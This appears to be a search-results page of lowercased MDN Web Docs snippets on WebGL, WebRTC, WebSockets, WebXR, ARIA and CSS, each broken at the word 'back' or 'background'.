RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
the rtcicecandidatepairstats property currentroundtriptime is a floating-point value indicating the number of seconds it takes for data to be sent by this peer to the remote peer and
back over the connection described by this pair of ice candidates.
RTCIceServer.url - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a
backup domain name of stunserver2.example.org is to add a new entry to the iceservers array for it.
WebGLRenderingContext.isEnabled() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feed
back stage.
Basic scissoring - Web APIs
<p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" window.removeeventlistener(evt.type, setupwebgl, false); var paragraph = document.queryselector("p"); var canvas = document.queryselector("canvas"); // the following two lines set the size (in css pixels) of // the drawing buffer to be identical to the size of the // canvas html elemen...
Boilerplate 1 - Web APIs
]</button> <canvas>your browser does not seem to support html5 canvas.</canvas> css body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } javascript function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragrap...
Canvas size and WebGL - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none;
background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("we...
Clearing by clicking - Web APIs
on.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
Color masking - Web APIs
<p>tinting the displayed colors with color masking.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <button id="red-toggle">on</button> <button id="green-toggle">on</button> <button id="blue-toggle">on</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-family : serif; font-size : inherit; font-weight : 900; color : white; margin : auto; padding : 0.6em 1.2em; } #red-toggle {
background-color : red; } #green-toggle {
background-color : green; } #blue-toggle {
background-color : blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" ...
Hello GLSL - Web APIs
hello glsl!</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1...
Hello vertex attributes - Web APIs
click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100...
Raining rectangles - Web APIs
you missed <strong>0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) ...
Scissor animation - Web APIs
ring the drawing buffer with solid color and applying scissor test.</p> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); // variables to hold the webgl context, and the color and // position of animated squares.
Textures from code - Web APIs
simple demonstration of procedural texturing</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 prec...
Adding 2D content to a WebGL context - Web APIs
forms gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our
background color; then we establish the camera's perspective.
Lighting in WebGL - Web APIs
const normalbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, normalbuffer); const vertexnormals = [ // front 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, //
back 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, // top 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, // bottom 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, // right 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, /...
Using textures in WebGL - Web APIs
const texturecoordbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, texturecoordbuffer); const texturecoordinates = [ // front 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, //
back 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // top 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // bottom 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // right 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // left 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, ]; gl.bufferdata(gl.array_buffer, new float3...
WebGL tutorial - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page
background.
Lifetime of a WebRTC session - Web APIs
in order to exchange signaling information, you can choose to send json objects
back and forth over a websocket connection, or you could use xmpp or sip over an appropriate channel, or you could use xmlhttprequest over https with polling, or any other combination of technologies you can come up with.
Writing WebSocket client applications - Web APIs
<br>" break; case "userlist": var ul = ""; for (i=0; i < msg.users.length; i++) { ul += msg.users[i] + "<br>"; } document.getelementbyid("userlistbox").innerhtml = ul; break; } if (text.length) { f.write(text); document.getelementbyid("chatbox").contentwindow.scrollbypages(1); } }; here we use json.parse() to convert the json object
back into the original object, then examine and act upon its contents.
Writing a WebSocket server in Java - Web APIs
you must, obtain the value of sec-websocket-key request header without any leading and trailing whitespace link it with "258eafa5-e914-47da-95ca-c5ab0dc85b11" compute sha-1 and base64 code of it write it
back as value of sec-websocket-accept response header as part of a http response.
The WebSocket API (WebSockets) - Web APIs
signalr: signalr will use websockets under the covers when it's available, and gracefully fall
back to other techniques and technologies when it isn't, while your application code stays the same.
Example and tutorial: Simple synth keyboard - Web APIs
: center; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-events: none; } .key div sub { font-size: 10px; pointer-events: none; } .key:hover {
background-color: #eef; } .key:active {
background-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsbar { padding-top: 8px; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: relative; vertical-align: middle; width: 100%; height: 30px; } .left { width: 50%; position: absolute; left: 0; display: table-cell; ...
Visualizations with Web Audio API - Web APIs
however, we are also multiplying that width by 2.5, because most of the frequencies will come
back as having no audio in them, as most of the sounds we hear every day are in a certain lower frequency range.
Web Bluetooth API - Web APIs
specifications specification feed
back web bluetooth to provide feed
back on the web bluetooth api, file a spec issue.
Window: beforeunload event - Web APIs
attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page navigation caches, like firefox's
back-forward cache or webkit's page cache.
Window: blur event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused {
background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
window.cancelAnimationFrame() - Web APIs
syntax window.cancelanimationframe(requestid); parameters requestid the id value returned by the call to window.requestanimationframe() that requested the call
back.
Window.devicePixelRatio - Web APIs
try it and watch what happens!</p> </div> <div class="pixel-ratio"></div> </div> css body { font: 22px arial, sans-serif; } .container { top: 2em; width: 22em; height: 14em; border: 2px solid #22d; margin: 0 auto; padding: 0;
background-color: #a9f; } .inner-container { padding: 1em 2em; text-align: justify; text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.de...
Window: deviceorientation event - Web APIs
interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front
back motion var frontto
back = event.beta; handleorientationevent(frontto
back, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(frontto
back, lefttoright, rotatedegrees) { // do something amazing }; specifications specification status deviceorientation event specificationthe definition of 'deviceorientation event' in tha...
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused {
background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
XRRigidTransform - Web APIs
it then requests the first animation frame call
back by calling the session's requestanimationframe() method.
XRSession.environmentBlendMode - Web APIs
additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the
background and its brightness, since that isn't being digitally controlled.
XRViewerPose.views - Web APIs
if a valid pose is returned, the frame is rendered by clearing the
backbuffer and then rendering each of the views in the pose; these are most likely the views for the left and right eyes.
XRViewerPose - Web APIs
if a valid pose is returned, the frame is rendered by clearing the
backbuffer and then rendering each of the views in the pose; these are most likely the views for the left and right eyes.
XRViewport - Web APIs
these values may be passed directly into the webglrenderingcontext.viewport() method: let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); example this example sets up an animation frame call
back using requestanimationframe().
XRWebGLLayer.getViewport() - Web APIs
example this example demonstrates in part what the call
back for the requestanimationframe() function might look like, using getviewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered.
Using the aria-describedby attribute - Accessibility
<div id="descriptionclose">closing this window will discard any information entered and return you
back to the main page</div> working examples: checkbox example uses aria-describedby tooltip example uses aria-describedby notes the aria-describedby attributed is not designed to reference descriptions on an external resource—since it is an id, it must reference an element in the same dom document.
ARIA annotations - Accessibility
black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use some more interesting styling of your own, for example: ins, [role="insertion"] { color: #0c0; text-decoration: underline; } del, [role="deletion"] { color: red; text-decoration: line-through; } ins, [role="insertion"], del, [role="deletion"] { text-decoration-thickness: 2px;
background-color: #fee; padding: 2px 4px; margin: 0 1px; } comments online document applications also commonly feature commenting systems, and it would be nice to have a way to semantically associate commented content and its comments.
How to file ARIA-related bugs - Accessibility
tbd: add proper accessibility markup to table genre software where to file notes screen readers freedom scientific jaws jaws technical support form gw micro window eyes window-eyes comments, questions, and feed
back (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file ms edge bugs view existing ms edge aria bugs mozilla firefox f...
ARIA: article role - Accessibility
inside an application or other widget that causes screen readers and other assistive technologies to be in pass-through mode, an article can be used to indicate that these should switch
back to treating the enclosed content as regular web content.
ARIA: contentinfo role - Accessibility
examples <body> <!-- other page content --> <div role="contentinfo"> <h2>mdn web docs</h2> <ul> <li><a href="#">web technologies</a></li> <li><a href="#">learn web development</a></li> <li><a href="#">about mdn</a></li> <li><a href="#">feed
back</a></li> </ul> <p>© 2005-2018 mozilla and individual contributors.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value {
background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
es .visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .invisible-scrollbar::-webkit-scrollbar { display: none; } /* demonstrate a "mostly customized" scrollbar * (won't be visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-webkit-scrollbar { width: 5px; height: 8px;
background-color: #aaa; /* or add it to the track */ } /* add a thumb */ .mostly-customized-scrollbar::-webkit-scrollbar-thumb {
background: #000; } <div class="visible-scrollbar"> etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.
::first-line (:first-line) - CSS: Cascading Style Sheets
used with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family all
background-related properties:
background-color,
background-clip,
background-image,
background-origin,
background-position,
background-repeat,
background-size,
background-attachment, and
background-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decoration-line, text-decoration-st...
::grammar-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::part() - CSS: Cascading Style Sheets
::before, ::after { box-sizing: border-box; padding: 1rem; } :host { display: flex; } </style> <div part="tab active">tab 1</div> <div part="tab">tab 2</div> <div part="tab">tab 3</div> </template> <tabbed-custom-element></tabbed-custom-element> css tabbed-custom-element::part(tab) { color: #0c0c0dcc; border-bottom: transparent solid 2px; } tabbed-custom-element::part(tab):hover {
background-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active {
background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let te...
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
:defined - CSS: Cascading Style Sheets
his.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive
backgrounds p {
background: yellow; } simple-custom {
background: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then provide the following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simp...
:first-child - CSS: Cascading Style Sheets
syntax :first-child examples basic example html <div> <p>this text is selected!</p> <p>this text isn't selected.</p> </div> <div> <h2>this text isn't selected: it's not a `p`.</h2> <p>this text isn't selected.</p> </div> css p:first-child { color: lime;
background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment ...
:first-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first!</div> <div>this <span>nested `span` is first</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type {
background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
:focus - CSS: Cascading Style Sheets
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus {
background: yellow; color: red; } .blue-input:focus {
background: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision.
:host() - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host(.footer) { color : red; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color.
:host-context() - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host-context(h1) { font-style: italic; } and :host-context(h1):after { content: " - no links in headers!" } rules style the instance of the <context-span> element (the shadow host in this instance) inside the <h1>.
:host - CSS: Cascading Style Sheets
oot.appendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host {
background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host {
background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
/* selects any paragraph inside a header, main or footer element that is being hovered */ :is(header, main, footer) p:hover { color: red; cursor: pointer; } /* the above is equivalent to the following */ header p:hover, main p:hover, footer p:hover { color: red; cursor: pointer; } /*
backwards-compatible version with :-*-any() and :matches() (it is not possible to group selectors into single rule, because presence of invalid selector would invalidate whole rule.) */ :-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matches(header, main, footer) p:hover { color: red; ...
:last-child - CSS: Cascading Style Sheets
syntax :last-child examples basic example html <div> <p>this text isn't selected.</p> <p>this text is selected!</p> </div> <div> <p>this text isn't selected.</p> <h2>this text isn't selected: it's not a `p`.</h2> </div> css p:last-child { color: lime;
background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment ...
:last-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type {
background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
:nth-child() - CSS: Cascading Style Sheets
span>span</span> <em>this is an `em`.</em> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) {
background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
:only-child - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only child of its parent */ p:only-child {
background-color: lime; } note: as originally defined, the selected element had to have a parent.
:only-of-type - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only <p> element inside its parent */ p:only-of-type {
background-color: lime; } note: as originally defined, the selected element had to have a parent.
:placeholder-shown - CSS: Cascading Style Sheets
<input id="name" placeholder="student name"/> </p> <p> <label for="branch">enter student branch:</label> <input id="branch" placeholder="student branch"/> </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input {
background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown {
background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:root - CSS: Cascading Style Sheets
/* selects the root element of the document: <html> in the case of html */ :root {
background: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
:scope - CSS: Cascading Style Sheets
/* selects a scoped element */ :scope {
background-color: lime; } currently, when used in a stylesheet, :scope is the same as :root, since there is not at this time a way to explicitly establish a scoped element.
:valid - CSS: Cascading Style Sheets
/* selects any valid <input> */ input:valid {
background-color: powderblue; } this pseudo-class is useful for highlighting correct fields for the user.
@document - CSS: Cascading Style Sheets
regexp("https:.*") { /* css rules here apply to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any standalone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple;
background: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
@font-face - CSS: Cascading Style Sheets
it's common to use both url() and local() together, so that the user's installed copy of the font is used if available, falling
back to downloading a copy of the font if it's not found on the user's device.
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
example: @media (-webkit-min-device-pixel-ratio: 2), /* webkit-based browsers */ (min--moz-device-pixel-ratio: 2), /* older firefox browsers (prior to firefox 16) */ (min-resolution: 2dppx), /* the standard way */ (min-resolution: 192dpi) /* dppx fall
back */ note: see this csswg article for compatibility good practices regarding resolution and dppx.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
} examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p {
background: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
any-hover - CSS: Cascading Style Sheets
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover {
background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
any-pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"]:checked {
background: gray; } @media (any-pointer: fine) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; bo...
color-gamut - CSS: Cascading Style Sheets
examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p {
background: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors {
background-color: red; color: grey; } @media (forced-colors: active) { .colors {
background-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
height - CSS: Cascading Style Sheets
examples html <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div {
background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
hover - CSS: Cascading Style Sheets
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover {
background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
inverted-colors - CSS: Cascading Style Sheets
if you're not, it should be red on light gray.</p> <p>if the text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p {
background: black; color: yellow; } } @media (inverted-colors: none) { p {
background: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p {
background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p {
background: #222; color: #ccc; } } @media (light-level: washed) { p {
background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
orientation - CSS: Cascading Style Sheets
examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex; } div {
background: yellow; } @media (orientation: landscape) { body { flex-direction: row; } } @media (orientation: portrait) { body { flex-direction: column; } } result specifications specification status comment media queries level 4the definition of 'orientation' in that specification.
pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; border: solid; margin: 0; } input[type="checkbox"]:checked {
background: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries lev...
prefers-color-scheme - CSS: Cascading Style Sheets
html <div class="day">day (initial)</div> <div class="day light-scheme">day (changes in light scheme)</div> <div class="day dark-scheme">day (changes in dark scheme)</div> <br> <div class="night">night (initial)</div> <div class="night light-scheme">night (changes in light scheme)</div> <div class="night dark-scheme">night (changes in dark scheme)</div> css .day {
background: #eee; color: black; } .night {
background: #333; color: white; } @media (prefers-color-scheme: dark) { .day.dark-scheme {
background: #333; color: white; } .night.dark-scheme {
background: black; color: #ddd; } } @media (prefers-color-scheme: light) { .day.light-scheme {
background: white; color: #555; } .night.light-scheme {
background: #eee; color: black; } } .day, .ni...
prefers-reduced-data - CSS: Cascading Style Sheets
in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case the "system font stack" will serve as the fall
back font: html <head> <link rel="preload" href="fonts/montserrat-regular.woff2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; font-weight: 400; font-display: swap; /* la...
OpenType font features guide - CSS: Cascading Style Sheets
ettings codes 'the complete css demo for opentype features' (can't vouch for the truth of the name, but it's pretty big) a list of opentype features on wikipedia using css feature detection for implementation since not all properties are evenly implemented, it's good practice to set up your css using feature detection to utilize the correct properties, with font-feature-settings as the fall
back.
Subgrid - CSS: Cascading Style Sheets
if you inspect this in the firefox grid inspector you can see how the line of the grid is in the correct place down the center of the gap, so when we set the gap to 0, it acts in a similar way to applying a negative margin to an element, giving the space from the gap
back to the item.
CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid rgb(233,171,88); border-radius: 5px;
background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows:...
CSS Motion Path - CSS: Cascading Style Sheets
